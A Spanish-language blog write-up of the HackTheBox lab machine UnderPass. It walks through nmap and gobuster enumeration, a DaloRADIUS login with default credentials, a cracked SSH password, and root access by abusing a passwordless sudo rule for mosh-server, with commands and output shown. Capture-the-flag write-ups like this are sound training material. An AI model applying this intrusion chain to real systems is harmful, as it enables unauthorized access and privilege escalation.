

UnderPass - HTB
Introducción
UnderPass
es una máquina Linux clasificado como fácil
en HackTheBox. El proceso para resolverla se puede resumir en:
- Reconocimiento y Enumeración:
Realicé un escaneo de puertos conNmap
, identificando un servicio web corriendo en el puerto80
. Aplicando fuerza bruta a la URL logre dar con dos portales de inicio de sesión del servicioDaloRADIUS
. - Explotación de Vulnerabilidades:
Después de un poco de investigación sobre el servicio, logré acceder al portal de administración utilizandocredenciales predeterminadas
(lo cual es resultado de una mala configuración del servicio). Dentro de este panel, encontré credenciales válidas para autenticarme víaSSH
. - Acceso Inicial y Escalada de Privilegios:
Una vez dentro del sistema como usuario estándar, descubrí unbinario con permisos SUID
que podía ejecutarse comoroot
sin contraseña. Al ejecutarlo, el binario te generaba unacontraseña
y te arrojaba unpuerto
para conectarte localmente. Utilizando esta información, establecí una conexión que me otorgó una shell con privilegios deroot
, completando la máquina.
Reconocimiento y Enumeración
Nmap
Realicé un escaneo inicial con nmap
para identificar servicios activos:
zynth3t1k@n00n3$ nmap -sS -p- --min-rate 10000 10.10.11.48Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-09 12:54 CDTNmap scan report for 10.10.11.48Host is up (0.083s latency).Not shown: 65533 closed tcp ports (reset)PORT STATE SERVICE22/tcp open ssh80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 6.90 seconds
Solo encontre dos puertos abierto, a los que les realicé un escaneo más detallado:
zynth3t1k@n00n3$ nmap -sS -p22,80 -sVC --min-rate 10000 10.10.11.48Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-09 12:55 CDTNmap scan report for 10.10.11.48Host is up (0.081s latency).
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 256 48:b0:d2:c7:29:26:ae:3d:fb:b7:6b:0f:f5:4d:2a:ea (ECDSA)|_ 256 cb:61:64:b8:1b:1b:b5:ba:b8:45:86:c5:16:bb:e2:a2 (ED25519)80/tcp open http Apache httpd 2.4.52 ((Ubuntu))|_http-server-header: Apache/2.4.52 (Ubuntu)|_http-title: Apache2 Ubuntu Default Page: It worksService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 12.50 seconds
El puerto 80
mostraba la página predeterminada de Apache, que registré en mi archivo /etc/hosts
para facilitar el acceso.
Página web
Al visitar la página, solo encontré la configuración inicial de Apache:
Gobuster
Aplique fuerza bruta en la url usando gobuster
y una wordlist de SecLists:
zynth3t1k@n00n3$ gobuster dir -u http://underpass.htb/ -w /usr/share/seclists/Discovery/Web-Content/common.txt===============================================================Gobuster v3.6by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url: http://underpass.htb/[+] Method: GET[+] Threads: 10[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt[+] Negative Status codes: 404[+] User Agent: gobuster/3.6[+] Timeout: 10s===============================================================Starting gobuster in directory enumeration mode===============================================================/.htaccess (Status: 403) [Size: 278]/.hta (Status: 403) [Size: 278]/.htpasswd (Status: 403) [Size: 278]/daloradius (Status: 301) [Size: 319] [--> http://underpass.htb/daloradius/]/index.html (Status: 200) [Size: 10671]/server-status (Status: 403) [Size: 278]Progress: 4745 / 4746 (99.98%)===============================================================Finished===============================================================
El directorio /daloradius
llamó mi atención. Al investigar, descubrí que DaloRADIUS
es un servicio de gestión para páginas web, cuyo repositorio está en GitHub. Identifiqué su estructura de directorios y apliqué fuerza bruta nuevamente:
zynth3t1k@n00n3$ gobuster dir -u http://underpass.htb/daloradius/ -w /usr/share/seclists/Discovery/Web-Content/common.txt===============================================================Gobuster v3.6by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url: http://underpass.htb/daloradius/[+] Method: GET[+] Threads: 10[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt[+] Negative Status codes: 404[+] User Agent: gobuster/3.6[+] Timeout: 10s===============================================================Starting gobuster in directory enumeration mode===============================================================/.gitignore (Status: 200) [Size: 221]/.hta (Status: 403) [Size: 278]/.htaccess (Status: 403) [Size: 278]/.htpasswd (Status: 403) [Size: 278]/ChangeLog (Status: 200) [Size: 24703]/LICENSE (Status: 200) [Size: 18011]/app (Status: 301) [Size: 323] [--> http://underpass.htb/daloradius/app/]/contrib (Status: 301) [Size: 327] [--> http://underpass.htb/daloradius/contrib/]/doc (Status: 301) [Size: 323] [--> http://underpass.htb/daloradius/doc/]/library (Status: 301) [Size: 327] [--> http://underpass.htb/daloradius/library/]/setup (Status: 301) [Size: 325] [--> http://underpass.htb/daloradius/setup/]Progress: 4745 / 4746 (99.98%)===============================================================Finished===============================================================
Este resultado confirma mi suposición, ya que nos muestra la misma estructura del repositorio. Cuando analicé este en el paso anterior, me resultaron interesantes dos archivos login.php
, situados en:
/dolaradius/app/users/login.php
/dolaradius/app/operators/login.php
DaloRADIUS
Los portales de inicio de sesión se veían así respectivamente:
Explotación de Vulnerabilidades
Credenciales predeterminadas
Investigué y encontré que el servicio tiene credenciales predeterminadas:
Estas credenciales solo funcionaron en el panel /dolaradius/app/operators/login.php
, mostrando:
En la lista de usuarios, encontré al usuario svcMosh
:
El apartado de contraseña contenía un hash, confirmado en Check Attributes
:
Hash Cracking
Usé CrackStation por practicidad (en un escenario real, recomiendo herramientas offline para evitar filtraciones):
Esto nos deja con las credenciales svcMosh:underwaterfriends
.
Acceso Inicial y Escalada de Privilegios
SSH
Recordando que el servicio SSH estaba abierto, ingresé las credenciales encontradas y obtuve una shell
como usuario
:
[email protected]'s password:Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-126-generic x86_64)
* Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro
System information as of Fri May 9 07:00:47 PM UTC 2025
System load: 0.02 Processes: 230 Usage of /: 50.8% of 6.56GB Users logged in: 2 Memory usage: 11% IPv4 address for eth0: 10.10.11.48 Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.To check for new updates run: sudo apt updateFailed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri May 9 18:48:53 2025 from 10.10.14.240svcMosh@underpass:~$
User Flag
Dentro del sistema, encontré la primera flag:
svcMosh@underpass:~$ lsuser.txt
PrivEsc
Usando el script LinEnum.sh encontré un binario ejecutable como root
sin contraseña (también detectable con sudo -l
):
[-] Super user account(s):root
[+] We can sudo without supplying a password!Matching Defaults entries for svcMosh on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svcMosh may run the following commands on localhost: (ALL) NOPASSWD: /usr/bin/mosh-server
Al ejecutarlo, mostró:
svcMosh@underpass:~$ sudo /usr/bin/mosh-server
MOSH CONNECT 60003 BMlZxwpKuLdAd8Pfa6lktQ
mosh-server (mosh 1.3.2) [build mosh 1.3.2]License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.
[mosh-server detached, pid = 2978]
Investigando, descubrí que la línea MOSH CONNECT
proporciona el puerto y la clave para conectarse al servicio:
svcMosh@underpass:~$ MOSH_KEY=BMlZxwpKuLdAd8Pfa6lktQ mosh-client 127.0.0.1 60003
Esto me otorgó una shell
como root
:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-126-generic x86_64)
* Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro
System information as of Fri May 9 07:17:03 PM UTC 2025
System load: 0.05 Processes: 242 Usage of /: 51.8% of 6.56GB Users logged in: 2 Memory usage: 17% IPv4 address for eth0: 10.10.11.48 Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.To check for new updates run: sudo apt updateFailed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
root@underpass:~#
Root Flag
Finalmente, encontré la flag de root:
root@underpass:~# lsroot.txt
← Regresar al blog